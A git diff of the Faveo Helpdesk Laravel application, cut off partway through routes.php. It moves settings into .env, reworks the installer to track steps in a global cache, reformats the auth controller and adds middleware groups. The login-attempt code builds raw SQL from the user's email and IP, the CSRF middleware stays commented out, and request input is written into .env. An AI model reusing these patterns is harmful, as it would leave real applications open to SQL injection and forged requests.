diff --git a/DB/update from 1.0.7.4 to 1.0.7.5/Updatedatabase.sql b/DB/update from 1.0.7.4 to 1.0.7.5/Updatedatabase.sql index e642c0814..493895ff2 100644 --- a/DB/update from 1.0.7.4 to 1.0.7.5/Updatedatabase.sql +++ b/DB/update from 1.0.7.4 to 1.0.7.5/Updatedatabase.sql @@ -584,13 +584,13 @@ ALTER TABLE `settings_system` ADD `version` varchar(222) NOT NULL AFTER `time_zo -- Dumping data for table `system_settings` -- -UPDATE `settings_system` SET `version`='1.0.7.5' WHERE 1 +UPDATE `settings_system` SET `version`='1.0.7.7' WHERE 1; ALTER TABLE `settings_ticket` ADD `lock_ticket_frequency` varchar(222) NOT NULL AFTER `max_file_size`; -UPDATE `settings_ticket` SET `lock_ticket_frequency`='0' WHERE 1 +UPDATE `settings_ticket` SET `lock_ticket_frequency`='0' WHERE 1; TRUNCATE TABLE `user_notification`; diff --git a/README.md b/README.md index 4c9ca0e39..03c273790 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,5 @@

About Faveo

- -
   StyleCI  
+
   StyleCI  

Headquartered in Bangalore, Faveo HELPDESK provides Businesses with an automated Helpdesk system to manage customer support.

The word Faveo comes from Latin which means to be favourable. Which truly highlights vision and the scope as well as the functionality of the product that Faveo is. It is specifically designed to cater the needs of startups and SME’s empowering them with state of art, ticket based support system. In today’s competitive startup scenario customer retention is one of the major challenges. Handling client query diligently is all the difference between retaining or losing a long lasting relationship. The company is driven with passion of providing tools for managing consumer queries for strategic insights and helping companies take those decisive decisions. diff --git a/app/Http/Controllers/Admin/helpdesk/ErrorAndDebuggingController.php b/app/Http/Controllers/Admin/helpdesk/ErrorAndDebuggingController.php index 1900369be..9a4855b21 100644 --- a/app/Http/Controllers/Admin/helpdesk/ErrorAndDebuggingController.php +++ b/app/Http/Controllers/Admin/helpdesk/ErrorAndDebuggingController.php @@ -60,26 +60,18 @@ class ErrorAndDebuggingController extends Controller $bugsnag_debug = ($bugsnag_debug) ? 'true' : 'false'; if ($debug != \Input::get('debug') || $bugsnag_debug != \Input::get('bugsnag')) { // dd($request->input()); - $debug_new = base_path() - .DIRECTORY_SEPARATOR. - 'config' - .DIRECTORY_SEPARATOR. - 'app.php'; + $debug_new = base_path().DIRECTORY_SEPARATOR.'.env'; $datacontent = File::get($debug_new); - $datacontent = str_replace("'debug' => ".$debug, - "'debug' => ".\Input::get('debug'), + $datacontent = str_replace('APP_DEBUG='.$debug, + 'APP_DEBUG='.\Input::get('debug'), $datacontent); File::put($debug_new, $datacontent); // dd($request->input()); - $bugsnag_debug_new = base_path() - .DIRECTORY_SEPARATOR. - 'config' - .DIRECTORY_SEPARATOR. - 'app.php'; + $bugsnag_debug_new = base_path().DIRECTORY_SEPARATOR.'.env'; $datacontent2 = File::get($bugsnag_debug_new); - $datacontent2 = str_replace("'bugsnag_reporting' => ".$bugsnag_debug, - "'bugsnag_reporting' => ".\Input::get('bugsnag'), + $datacontent2 = str_replace('APP_BUGSNAG='.$bugsnag_debug, + 'APP_BUGSNAG='.\Input::get('bugsnag'), $datacontent2); File::put($bugsnag_debug_new, $datacontent2); diff --git a/app/Http/Controllers/Auth/AuthController.php b/app/Http/Controllers/Auth/AuthController.php index fe808b7d7..0d7899c9d 100644 --- a/app/Http/Controllers/Auth/AuthController.php +++ b/app/Http/Controllers/Auth/AuthController.php @@ -29,8 +29,8 @@ use Mail; * * @author Ladybird */ -class AuthController extends Controller -{ +class AuthController extends Controller { + use AuthenticatesAndRegistersUsers; /* to redirect after login */ @@ -50,8 +50,7 @@ class AuthController extends Controller * * @return void */ - public function __construct(PhpMailController $PhpMailController) - { + public function __construct(PhpMailController $PhpMailController) { $this->PhpMailController = $PhpMailController; SettingsController::smtp(); $this->middleware('guest', ['except' => 'getLogout']); @@ -62,8 +61,7 @@ class AuthController extends Controller * * @return type Response */ - public function getRegister() - { + public function getRegister() { // Event for login \Event::fire(new \App\Events\FormRegisterEvent()); if (Auth::user()) { @@ -85,8 +83,7 @@ class AuthController extends Controller * * @return type Response */ - public function postRegister(User $user, RegisterRequest $request) - { + public function postRegister(User $user, RegisterRequest $request) { // Event for login \Event::fire(new \App\Events\LoginEvent($request)); $password = Hash::make($request->input('password')); @@ -100,7 +97,7 @@ class AuthController extends Controller $user->remember_token = $code; $user->save(); $message12 = ''; - $var = $this->PhpMailController->sendmail($from = $this->PhpMailController->mailfrom('1', '0'), $to = ['name' => $name, 'email' => $request->input('email')], $message = ['subject' => null, 'scenario' => 'registration'], $template_variables = ['user' => $name, 'email_address' => $request->input('email'), 'password_reset_link' => url('account/activate/'.$code)]); + $var = $this->PhpMailController->sendmail($from = $this->PhpMailController->mailfrom('1', '0'), $to = ['name' => $name, 'email' => $request->input('email')], $message = ['subject' => null, 'scenario' => 'registration'], $template_variables = ['user' => $name, 'email_address' => $request->input('email'), 'password_reset_link' => url('account/activate/' . $code)]); if ($var == null) { $message12 = Lang::get('lang.failed_to_send_email_contact_administrator'); @@ -119,8 +116,7 @@ class AuthController extends Controller * * @return type redirect */ - public function accountActivate($token) - { + public function accountActivate($token) { $user = User::where('remember_token', '=', $token)->first(); if ($user) { $user->active = 1; @@ -141,8 +137,7 @@ class AuthController extends Controller * * @return type Response */ - public function getMail($token, User $user) - { + public function getMail($token, User $user) { $user = $user->where('remember_token', $token)->where('active', 0)->first(); if ($user) { $user->active = 1; @@ -159,16 +154,20 @@ class AuthController extends Controller * * @return type Response */ - public function getLogin() - { - if (Auth::user()) { - if (Auth::user()->role == 'admin' || Auth::user()->role == 'agent') { - return \Redirect::route('dashboard'); - } elseif (Auth::user()->role == 'user') { - return \Redirect::route('home'); + public function getLogin() { + $directory = base_path(); + if (file_exists($directory . DIRECTORY_SEPARATOR . ".env")) { + if (Auth::user()) { + if (Auth::user()->role == 'admin' || Auth::user()->role == 'agent') { + return \Redirect::route('dashboard'); + } elseif (Auth::user()->role == 'user') { + return \Redirect::route('home'); + } + } else { + return view('auth.login'); } } else { - return view('auth.login'); + return Redirect::route('licence'); } } @@ -179,8 +178,7 @@ class AuthController extends Controller * * @return type Response */ - public function postLogin(LoginRequest $request) - { + public function postLogin(LoginRequest $request) { // Set login attempts and login time $value = $_SERVER['REMOTE_ADDR']; $usernameinput = $request->input('email'); @@ -199,7 +197,7 @@ class AuthController extends Controller return redirect()->back() ->withInput($request->only('email', 'remember')) ->withErrors([ - 'email' => $this->getFailedLoginMessage(), + 'email' => $this->getFailedLoginMessage(), 'password' => $this->getFailedLoginMessage(), ])->with('error', Lang::get('lang.this_account_is_currently_inactive')); } @@ -207,7 +205,7 @@ class AuthController extends Controller return redirect()->back() ->withInput($request->only('email', 'remember')) ->withErrors([ - 'email' => $this->getFailedLoginMessage(), + 'email' => $this->getFailedLoginMessage(), 'password' => $this->getFailedLoginMessage(), ])->with('error', Lang::get('lang.this_account_is_currently_inactive')); } @@ -250,7 +248,7 @@ class AuthController extends Controller return redirect()->back() ->withInput($request->only('email', 'remember')) ->withErrors([ - 'email' => $this->getFailedLoginMessage(), + 'email' => $this->getFailedLoginMessage(), 'password' => $this->getFailedLoginMessage(), ])->with('error', Lang::get('lang.invalid')); // Increment login attempts @@ -263,8 +261,7 @@ class AuthController extends Controller * * @return type Response */ - public function addLoginAttempt($value, $field) - { + public function addLoginAttempt($value, $field) { $result = DB::table('login_attempts')->where('IP', '=', $value)->first(); $data = $result; $security = Security::whereId('1')->first(); @@ -272,7 +269,7 @@ class AuthController extends Controller if ($data) { $attempts = $data->Attempts + 1; if ($attempts == $apt) { - $result = DB::select('UPDATE login_attempts SET Attempts='.$attempts.", LastLogin=NOW() WHERE IP = '$value' OR User = '$field'"); + $result = DB::select('UPDATE login_attempts SET Attempts=' . $attempts . ", LastLogin=NOW() WHERE IP = '$value' OR User = '$field'"); } else { $result = DB::table('login_attempts')->where('IP', '=', $value)->orWhere('User', '=', $field)->update(['Attempts' => $attempts]); // $result = DB::select("UPDATE login_attempts SET Attempts=".$attempts." WHERE IP = '$value' OR User = '$field'"); @@ -289,8 +286,7 @@ class AuthController extends Controller * * @return type Response */ - public function clearLoginAttempts($value, $field) - { + public function clearLoginAttempts($value, $field) { $data = DB::table('login_attempts')->where('IP', '=', $value)->orWhere('User', '=', $field)->update(['attempts' => '0']); return $data; @@ -303,14 +299,13 @@ class AuthController extends Controller * * @return type Response */ - public function confirmIPAddress($value, $field) - { + public function confirmIPAddress($value, $field) { $security = Security::whereId('1')->first(); $time = $security->lockout_period; $max_attempts = $security->backlist_threshold; $table = 'login_attempts'; - $result = DB::select('SELECT Attempts, (CASE when LastLogin is not NULL and DATE_ADD(LastLogin, INTERVAL '.$time.' MINUTE)>NOW() then 1 else 0 end) as Denied '. - ' FROM '.$table." WHERE IP = '$value' OR User = '$field'"); + $result = DB::select('SELECT Attempts, (CASE when LastLogin is not NULL and DATE_ADD(LastLogin, INTERVAL ' . $time . ' MINUTE)>NOW() then 1 else 0 end) as Denied ' . + ' FROM ' . $table . " WHERE IP = '$value' OR User = '$field'"); $data = $result; //Verify that at least one login attempt is in database if (!$data) { @@ -334,8 +329,8 @@ class AuthController extends Controller * * @return type string */ - protected function getFailedLoginMessage() - { + protected function getFailedLoginMessage() { return Lang::get('lang.this_field_do_not_match_our_records'); } + } diff --git a/app/Http/Controllers/Client/helpdesk/WelcomepageController.php b/app/Http/Controllers/Client/helpdesk/WelcomepageController.php index 3c10e1926..17510d4aa 100644 --- a/app/Http/Controllers/Client/helpdesk/WelcomepageController.php +++ b/app/Http/Controllers/Client/helpdesk/WelcomepageController.php @@ -15,11 +15,10 @@ use Redirect; * * @author Ladybird */ -class WelcomepageController extends Controller -{ - public function __construct() - { - // $this->middleware('board'); +class WelcomepageController extends Controller { + + public function __construct() { +// $this->middleware('board'); } /** @@ -27,8 +26,7 @@ class WelcomepageController extends Controller * * @return Response */ - public function get(System $note) - { + public function get(System $note) { if (Config::get('database.install') == '%0%') { return Redirect::route('licence'); } @@ -40,12 +38,13 @@ class WelcomepageController extends Controller return view('themes.default1.client.guest-user.guest', compact('heading', 'content')); } - public function index() - { - if (Config::get('database.install') == '%0%') { + public function index() { + $directory = base_path(); + if (file_exists($directory .DIRECTORY_SEPARATOR. ".env")) { + return view('themes.default1.client.helpdesk.guest-user.index'); + } else { return Redirect::route('licence'); } - - return view('themes.default1.client.helpdesk.guest-user.index'); } + } diff --git a/app/Http/Controllers/Common/SettingsController.php b/app/Http/Controllers/Common/SettingsController.php index 181a8dbd0..e0ae3b9b5 100644 --- a/app/Http/Controllers/Common/SettingsController.php +++ b/app/Http/Controllers/Common/SettingsController.php @@ -574,6 +574,7 @@ class SettingsController extends Controller * write provider list in app.php line 128 */ $app = base_path().DIRECTORY_SEPARATOR.'config'.DIRECTORY_SEPARATOR.'app.php'; + chmod($app, 0644); $str = "\n\n\t\t\t'App\\Plugins\\$filename"."\\ServiceProvider',"; $line_i_am_looking_for = 144; $lines = file($app, FILE_IGNORE_NEW_LINES); diff --git a/app/Http/Controllers/Installer/helpdesk/InstallController.php b/app/Http/Controllers/Installer/helpdesk/InstallController.php index 60c568ebe..47aa76ee3 100644 --- a/app/Http/Controllers/Installer/helpdesk/InstallController.php +++ b/app/Http/Controllers/Installer/helpdesk/InstallController.php @@ -7,6 +7,7 @@ use App\Http\Controllers\Controller; // requests use App\Http\Requests\helpdesk\DatabaseRequest; use App\Http\Requests\helpdesk\InstallerRequest; +use Illuminate\Http\Request; // models use App\Model\helpdesk\Settings\System; use App\Model\helpdesk\Utility\Date_time_format; @@ -23,6 +24,7 @@ use Input; use Redirect; use Session; use View; +use Cache; /** * |======================================================================= @@ -34,27 +36,22 @@ use View; * * @author Ladybird */ -class InstallController extends Controller -{ +class InstallController extends Controller { + /** * Get Licence (step 1). * * @return type view */ - public function licence() - { - Session::forget('step1'); - Session::forget('step2'); - Session::forget('step3'); - Session::forget('step4'); - Session::forget('step5'); - Session::forget('step6'); + public function licence() { // checking if the installation is running for the first time or not - if (Config::get('database.install') == '%0%') { - return view('themes/default1/installer/helpdesk/view1'); - } else { - // return 1; + $directory = base_path(); + if (file_exists($directory . DIRECTORY_SEPARATOR . ".env")) { return redirect('/auth/login'); + } else { + Cache::flush(); + Artisan::call('config:clear'); + return view('themes/default1/installer/helpdesk/view1'); } } @@ -63,18 +60,15 @@ class InstallController extends Controller * * @return type view */ - public function licencecheck() - { + public function licencecheck(Request $request) { // checking if the user have accepted the licence agreement $accept = (Input::has('accept1')) ? true : false; if ($accept == 'accept') { - Session::put('step1', 'step1'); - + Cache::forever('step1', 'step1'); return Redirect::route('prerequisites'); } else { return Redirect::route('licence')->with('fails', 'Failed! first accept the licence agreeement'); } - // return 1; } /** @@ -85,17 +79,12 @@ class InstallController extends Controller * * @return type view */ - public function prerequisites() - { + public function prerequisites(Request $request) { // checking if the installation is running for the first time or not - if (Config::get('database.install') == '%0%') { - if (Session::get('step1') == 'step1') { - return View::make('themes/default1/installer/helpdesk/view2'); - } else { - return Redirect::route('licence'); - } + if (Cache::get('step1') == 'step1') { + return View::make('themes/default1/installer/helpdesk/view2'); } else { - return redirect('/auth/login'); + return Redirect::route('licence'); } } @@ -105,10 +94,8 @@ class InstallController extends Controller * * @return type view */ - public function prerequisitescheck() - { - Session::put('step2', 'step2'); - + public function prerequisitescheck(Request $request) { + Cache::forever('step2', 'step2'); return Redirect::route('configuration'); } @@ -118,17 +105,12 @@ class InstallController extends Controller * * @return type view */ - public function localization() - { + public function localization(Request $request) { // checking if the installation is running for the first time or not - if (Config::get('database.install') == '%0%') { - if (Session::get('step2') == 'step2') { - return View::make('themes/default1/installer/helpdesk/view3'); - } else { - return Redirect::route('prerequisites'); - } + if (Cache::get('step2') == 'step2') { + return View::make('themes/default1/installer/helpdesk/view3'); } else { - return redirect('/auth/login'); + return Redirect::route('prerequisites'); } } @@ -138,13 +120,14 @@ class InstallController extends Controller * * @return type view */ - public function localizationcheck() - { - Session::put('step3', 'step3'); - Session::put('language', Input::get('language')); - Session::put('timezone', Input::get('timezone')); - Session::put('date', Input::get('date')); - Session::put('datetime', Input::get('datetime')); + public function localizationcheck(Request $request) { + Cache::forever('step3', 'step3'); + + $request->session()->put('step3', 'step3'); + $request->session()->put('language', Input::get('language')); + $request->session()->put('timezone', Input::get('timezone')); + $request->session()->put('date', Input::get('date')); + $request->session()->put('datetime', Input::get('datetime')); return Redirect::route('configuration'); } @@ -155,17 +138,12 @@ class InstallController extends Controller * * @return type view */ - public function configuration() - { + public function configuration(Request $request) { // checking if the installation is running for the first time or not - if (Config::get('database.install') == '%0%') { - if (Session::get('step2') == 'step2') { - return View::make('themes/default1/installer/helpdesk/view3'); - } else { - return Redirect::route('prerequisites'); - } + if (Cache::get('step2') == 'step2') { + return View::make('themes/default1/installer/helpdesk/view3'); } else { - return redirect('/auth/login'); + return Redirect::route('prerequisites'); } } @@ -175,21 +153,15 @@ class InstallController extends Controller * * @return type view */ - public function configurationcheck(DatabaseRequest $request) - { - Session::put('step4', 'step4'); - // dd($request->input('default')); - // dd($request->input('host')); - // dd($request->input('databasename')); - // dd($request->input('username')); - // dd($request->input('password')); - // dd($request->input('port')); - Session::put('default', $request->input('default')); - Session::put('host', $request->input('host')); - Session::put('databasename', $request->input('databasename')); - Session::put('username', $request->input('username')); - Session::put('password', $request->input('password')); - Session::put('port', $request->input('port')); + public function configurationcheck(DatabaseRequest $request) { + Cache::forever('step4', 'step4'); + + Session::set('default', $request->input('default')); + Session::set('host', $request->input('host')); + Session::set('databasename', $request->input('databasename')); + Session::set('username', $request->input('username')); + Session::set('password', $request->input('password')); + Session::set('port', $request->input('port')); return Redirect::route('database'); } @@ -199,8 +171,8 @@ class InstallController extends Controller * * @return type view */ - public function postconnection() - { + public function postconnection(Request $request) { + error_reporting(E_ALL & ~E_NOTICE); $default = Input::get('default'); $host = Input::get('host'); @@ -209,17 +181,12 @@ class InstallController extends Controller $dbpassword = Input::get('password'); $port = Input::get('port'); - // Setting environment values - // $_ENV['DB_TYPE'] = $default; - // $_ENV['DB_HOST'] = $host; - // $_ENV['DB_PORT'] = $port; - // $_ENV['DB_DATABASE'] = $database; - // $_ENV['DB_USERNAME'] = $dbusername; - // $_ENV['DB_PASSWORD'] = $dbpassword; - $ENV['APP_ENV'] = 'local'; $ENV['APP_DEBUG'] = 'false'; $ENV['APP_KEY'] = 'SomeRandomString'; + $ENV['APP_BUGSNAG'] = 'true'; + $ENV['APP_URL'] = 'http://localhost'; + $ENV['DB_INSTALL'] = '%0%'; $ENV['DB_TYPE'] = $default; $ENV['DB_HOST'] = $host; $ENV['DB_PORT'] = $port; @@ -240,7 +207,7 @@ class InstallController extends Controller $config .= "{$key}={$val}\n"; } // Write environment file - $fp = fopen(base_path().'/.env', 'w'); + $fp = fopen(base_path() . '/.env', 'w'); fwrite($fp, $config); fclose($fp); @@ -253,17 +220,12 @@ class InstallController extends Controller * * @return type view */ - public function database() - { + public function database(Request $request) { // checking if the installation is running for the first time or not - if (Config::get('database.install') == '%0%') { - if (Session::get('step4') == 'step4') { - return View::make('themes/default1/installer/helpdesk/view4'); - } else { - return Redirect::route('configuration'); - } + if (Cache::get('step4') == 'step4') { + return View::make('themes/default1/installer/helpdesk/view4'); } else { - return redirect('/auth/login'); + return Redirect::route('configuration'); } } @@ -273,22 +235,13 @@ class InstallController extends Controller * * @return type view */ - public function account() - { + public function account(Request $request) { // checking if the installation is running for the first time or not - if (Config::get('database.install') == '%0%') { - if (Session::get('step4') == 'step4') { - Session::put('step5', 'step5'); - Session::forget('step1'); - Session::forget('step2'); - Session::forget('step3'); - - return View::make('themes/default1/installer/helpdesk/view5'); - } else { - return Redirect::route('configuration'); - } + if (Cache::get('step4') == 'step4') { + $request->session()->put('step5', $request->input('step5')); + return View::make('themes/default1/installer/helpdesk/view5'); } else { - return redirect('/auth/login'); + return Redirect::route('configuration'); } } @@ -300,8 +253,7 @@ class InstallController extends Controller * * @return type view */ - public function accountcheck(InstallerRequest $request) - { + public function accountcheck(InstallerRequest $request) { // checking is the installation was done previously try { $check_for_pre_installation = System::all(); @@ -309,17 +261,16 @@ class InstallController extends Controller return redirect()->back()->with('fails', 'The data in database already exist. Please provide fresh database'); } } catch (Exception $e) { + } if ($request->input('dummy-data') == 'on') { - $path = base_path().'/DB/dummy-data.sql'; - // dd($path); + $path = base_path() . '/DB/dummy-data.sql'; DB::unprepared(file_get_contents($path)); } else { // migrate database Artisan::call('migrate', ['--force' => true]); Artisan::call('db:seed', ['--force' => true]); } - // create user $firstname = $request->input('firstname'); $lastname = $request->input('Lastname'); @@ -332,23 +283,16 @@ class InstallController extends Controller $date = $request->input('date'); $datetime = $request->input('datetime'); - //\Cache::forever('language', $language); - //\App::setLocale($language); - // $system = System::where('id','=','1')->first(); - // $system->time_zone = $timezone; - // $system->date_time_format = $datetime; - // $system->save(); // checking requested timezone for the admin and system $timezones = Timezones::where('name', '=', $timezone)->first(); if ($timezones == null) { return redirect()->back()->with('fails', 'Invalid time-zone'); - // return ['response' => 'fail', 'reason' => 'Invalid time-zone', 'status' => '0']; } + // checking requested date time format for the admin and system $date_time_format = Date_time_format::where('format', '=', $datetime)->first(); if ($date_time_format == null) { return redirect()->back()->with('fails', 'invalid date-time format'); - // return ['response' => 'fail', 'reason' => 'invalid date-time format', 'status' => '0']; } // Creating minum settings for system @@ -357,24 +301,27 @@ class InstallController extends Controller $system->department = 1; $system->date_time_format = $date_time_format->id; $system->time_zone = $timezones->id; + $version = \Config::get('app.version'); + $version = explode(" ", $version); + $version = $version[1]; + $system->version = $version; $system->save(); // creating an user $user = User::create([ - 'first_name' => $firstname, - 'last_name' => $lastname, - 'email' => $email, - 'user_name' => $username, - 'password' => Hash::make($password), + 'first_name' => $firstname, + 'last_name' => $lastname, + 'email' => $email, + 'user_name' => $username, + 'password' => Hash::make($password), 'assign_group' => 1, - 'primary_dpt' => 1, - 'active' => 1, - 'role' => 'admin', + 'primary_dpt' => 1, + 'active' => 1, + 'role' => 'admin', ]); // checking if the user have been created if ($user) { - Session::put('step6', 'step6'); - + Cache::forever('step6', 'step6'); return Redirect::route('final'); } } @@ -385,16 +332,15 @@ class InstallController extends Controller * * @return type view */ - public function finalize() - { - // checking if the installation have been completed or not - if (Session::get('step6') == 'step6') { + public function finalize() { +// checking if the installation have been completed or not + if (Cache::get('step6') == "step6") { $value = '1'; - $install = app_path('../config/database.php'); + $install = base_path() . DIRECTORY_SEPARATOR . '.env'; $datacontent = File::get($install); $datacontent = str_replace('%0%', $value, $datacontent); File::put($install, $datacontent); - // setting email settings in route +// setting email settings in route $smtpfilepath = "\App\Http\Controllers\Common\SettingsController::smtp()"; $lfmpath = "url('photos').'/'"; $path22 = app_path('Http/routes.php'); @@ -403,27 +349,23 @@ class InstallController extends Controller $content24 = File::get($path23); $content23 = str_replace('"%smtplink%"', $smtpfilepath, $content23); $content24 = str_replace("'%url%'", $lfmpath, $content24); - $link = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; + $link = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; $pos = strpos($link, 'final'); $link = substr($link, 0, $pos); - $app_url = app_path('../config/app.php'); + $app_url = base_path() . DIRECTORY_SEPARATOR . '.env'; $datacontent2 = File::get($app_url); $datacontent2 = str_replace('http://localhost', $link, $datacontent2); File::put($app_url, $datacontent2); File::put($path22, $content23); File::put($path23, $content24); try { - Session::forget('step1'); - Session::forget('step2'); - Session::forget('step3'); - Session::forget('step4'); - Session::forget('step5'); - Session::forget('step6'); - Artisan::call('key:generate'); + Cache::flush(); + + Artisan::call('key:generate'); return View::make('themes/default1/installer/helpdesk/view6'); } catch (Exception $e) { - return Redirect::route('npl'); + return Redirect::route('account')->with('fails', $e->getMessage()); } } else { return redirect('/auth/login'); @@ -436,8 +378,7 @@ class InstallController extends Controller * * @return type view */ - public function finalcheck() - { + public function finalcheck() { try { return redirect('/auth/login'); } catch (Exception $e) { @@ -445,18 +386,11 @@ class InstallController extends Controller } } - public function changeFilePermission() - { - $path1 = base_path().DIRECTORY_SEPARATOR.'.env'; - $path2 = base_path().DIRECTORY_SEPARATOR.'config'.DIRECTORY_SEPARATOR.'database.php'; - $path3 = base_path().DIRECTORY_SEPARATOR.'app'.DIRECTORY_SEPARATOR.'Http'.DIRECTORY_SEPARATOR.'routes.php'; - $path4 = base_path().DIRECTORY_SEPARATOR.'config'.DIRECTORY_SEPARATOR.'lfm.php'; - if (chmod($path1, 0644) && chmod($path2, 0644) && chmod($path3, 0644) && chmod($path4, 0644)) { + public function changeFilePermission() { + $path1 = base_path() . DIRECTORY_SEPARATOR . '.env'; + if (chmod($path1, 0644)) { $f1 = substr(sprintf('%o', fileperms($path1)), -3); - $f2 = substr(sprintf('%o', fileperms($path2)), -3); - $f3 = substr(sprintf('%o', fileperms($path3)), -3); - $f4 = substr(sprintf('%o', fileperms($path4)), -3); - if ($f1 >= '644' && $f2 >= '644' && $f3 >= '644' && $f4 >= '644') { + if ($f1 >= '644') { return Redirect::back(); } else { return Redirect::back()->with('fail_to_change', 'We are unable to change file permission on your server please try to change permission manually.'); @@ -466,8 +400,8 @@ class InstallController extends Controller } } - public function jsDisabled() - { - return view('themes/default1/installer/helpdesk/check-js')->with('url', $_SERVER['HTTP_REFERER']); + public function jsDisabled() { + return view('themes/default1/installer/helpdesk/check-js')->with('url', 'step1'); } + } diff --git a/app/Http/Kernel.php b/app/Http/Kernel.php index aad3f99ea..50ce2841f 100644 --- a/app/Http/Kernel.php +++ b/app/Http/Kernel.php @@ -7,21 +7,37 @@ use Illuminate\Foundation\Http\Kernel as HttpKernel; /** * Kernel. */ -class Kernel extends HttpKernel -{ +class Kernel extends HttpKernel { + /** * The application's global HTTP middleware stack. * + * These middleware are run during every request to your application. + * * @var array */ protected $middleware = [ \Illuminate\Foundation\Http\Middleware\CheckForMaintenanceMode::class, - \App\Http\Middleware\EncryptCookies::class, - \Illuminate\Cookie\Middleware\AddQueuedCookiesToResponse::class, - \Illuminate\Session\Middleware\StartSession::class, - \Illuminate\View\Middleware\ShareErrorsFromSession::class, - //\App\Http\Middleware\VerifyCsrfToken::class, - \App\Http\Middleware\LanguageMiddleware::class, + ]; + + /** + * The application's global HTTP middleware stack. + * + * @var array + */ + protected $middlewareGroups = [ + 'web' => [ + \Illuminate\Foundation\Http\Middleware\CheckForMaintenanceMode::class, + \App\Http\Middleware\EncryptCookies::class, + \Illuminate\Cookie\Middleware\AddQueuedCookiesToResponse::class, + \Illuminate\Session\Middleware\StartSession::class, + \Illuminate\View\Middleware\ShareErrorsFromSession::class, + //\App\Http\Middleware\VerifyCsrfToken::class, + \App\Http\Middleware\LanguageMiddleware::class, + ], + 'api' => [ + 'throttle:60,1', + ], ]; /** @@ -30,17 +46,19 @@ class Kernel extends HttpKernel * @var array */ protected $routeMiddleware = [ - 'auth' => \App\Http\Middleware\Authenticate::class, - 'auth.basic' => \Illuminate\Auth\Middleware\AuthenticateWithBasicAuth::class, - 'guest' => \App\Http\Middleware\RedirectIfAuthenticated::class, - 'throttle' => \Illuminate\Routing\Middleware\ThrottleRequests::class, - 'roles' => \App\Http\Middleware\CheckRole::class, - 'role.agent' => \App\Http\Middleware\CheckRoleAgent::class, - 'role.user' => \App\Http\Middleware\CheckRoleUser::class, - 'api' => \App\Http\Middleware\ApiKey::class, - 'jwt.auth' => \Tymon\JWTAuth\Middleware\GetUserFromToken::class, + 'auth' => \App\Http\Middleware\Authenticate::class, + 'auth.basic' => \Illuminate\Auth\Middleware\AuthenticateWithBasicAuth::class, + 'can' => \Illuminate\Foundation\Http\Middleware\Authorize::class, + 'guest' => \App\Http\Middleware\RedirectIfAuthenticated::class, + 'throttle' => \Illuminate\Routing\Middleware\ThrottleRequests::class, + 'roles' => \App\Http\Middleware\CheckRole::class, + 'role.agent' => \App\Http\Middleware\CheckRoleAgent::class, + 'role.user' => \App\Http\Middleware\CheckRoleUser::class, + 'api' => \App\Http\Middleware\ApiKey::class, + 'jwt.auth' => \Tymon\JWTAuth\Middleware\GetUserFromToken::class, 'jwt.refresh' => \Tymon\JWTAuth\Middleware\RefreshToken::class, - 'update' => \App\Http\Middleware\CheckUpdate::class, - 'board' => \App\Http\Middleware\CheckBoard::class, + 'update' => \App\Http\Middleware\CheckUpdate::class, + 'board' => \App\Http\Middleware\CheckBoard::class, ]; + } diff --git a/app/Http/routes.php b/app/Http/routes.php index 9c4a0881a..46c4507e5 100644 --- a/app/Http/routes.php +++ b/app/Http/routes.php @@ -10,1008 +10,1009 @@ | and give it the controller to call when that URI is requested. | */ - -Route::group(['middleware' => 'update'], function () { - Route::controllers([ - 'auth' => 'Auth\AuthController', - 'password' => 'Auth\PasswordController', - ]); -}); - -Route::get('account/activate/{token}', ['as' => 'account.activate', 'uses' => 'Auth\AuthController@accountActivate']); - -$router->get('getmail/{token}', 'Auth\AuthController@getMail'); - -/* - |------------------------------------------------------------------------------- - | Admin Routes - |------------------------------------------------------------------------------- - | Here is defining entire routes for the Admin Panel - | - */ -Route::group(['middleware' => 'roles', 'middleware' => 'auth', 'middleware' => 'update'], function () { - - //Notification marking - Route::post('mark-read/{id}', 'Common\NotificationController@markRead'); - Route::post('mark-all-read/{id}', 'Common\NotificationController@markAllRead'); - Breadcrumbs::register('notification.list', function ($breadcrumbs) { - $breadcrumbs->parent('dashboard'); - $breadcrumbs->push('All Notifications', route('notification.list')); - }); - Route::get('notifications-list', ['as' => 'notification.list', 'uses' => 'Common\NotificationController@show']); - - Route::post('notification-delete/{id}', ['as' => 'notification.delete', 'uses' => 'Common\NotificationController@delete']); - Breadcrumbs::register('notification.settings', function ($breadcrumbs) { - $breadcrumbs->parent('setting'); - $breadcrumbs->push('Notifications Settings', route('notification.settings')); - }); - Route::get('settings-notification', ['as' => 'notification.settings', 'uses' => 'Admin\helpdesk\SettingsController@notificationSettings']); - Route::get('delete-read-notification', 'Admin\helpdesk\SettingsController@deleteReadNoti'); - Route::post('delete-notification-log', 'Admin\helpdesk\SettingsController@deleteNotificationLog'); - - - // resource is a function to process create,edit,read and delete - Route::resource('groups', 'Admin\helpdesk\GroupController'); // for group module, for CRUD - Breadcrumbs::register('groups.index', function ($breadcrumbs) { - $breadcrumbs->parent('setting'); - $breadcrumbs->push(Lang::get('lang.groups'), route('groups.index')); - }); - Breadcrumbs::register('groups.create', function ($breadcrumbs) { - $breadcrumbs->parent('groups.index'); - $breadcrumbs->push(Lang::get('lang.create'), route('groups.create')); - }); - Breadcrumbs::register('groups.edit', function ($breadcrumbs) { - $breadcrumbs->parent('groups.index'); - $breadcrumbs->push(Lang::get('lang.edit'), url('groups/{groups}/edit')); +Route::group(['middleware' => ['web']], function () { + Route::group(['middleware' => 'update'], function () { + Route::controllers([ + 'auth' => 'Auth\AuthController', + 'password' => 'Auth\PasswordController', + ]); }); + Route::get('account/activate/{token}', ['as' => 'account.activate', 'uses' => 'Auth\AuthController@accountActivate']); - Route::resource('departments', 'Admin\helpdesk\DepartmentController'); // for departments module, for CRUD - Breadcrumbs::register('departments.index', function ($breadcrumbs) { - $breadcrumbs->parent('setting'); - $breadcrumbs->push(Lang::get('lang.departments'), route('departments.index')); - }); - Breadcrumbs::register('departments.create', function ($breadcrumbs) { - $breadcrumbs->parent('departments.index'); - $breadcrumbs->push(Lang::get('lang.create'), route('departments.create')); - }); - Breadcrumbs::register('departments.edit', function ($breadcrumbs) { - $breadcrumbs->parent('departments.index'); - $breadcrumbs->push(Lang::get('lang.edit'), url('departments/{departments}/edit')); - }); - - - Route::resource('teams', 'Admin\helpdesk\TeamController'); // in teams module, for CRUD - Breadcrumbs::register('teams.index', function ($breadcrumbs) { - $breadcrumbs->parent('setting'); - 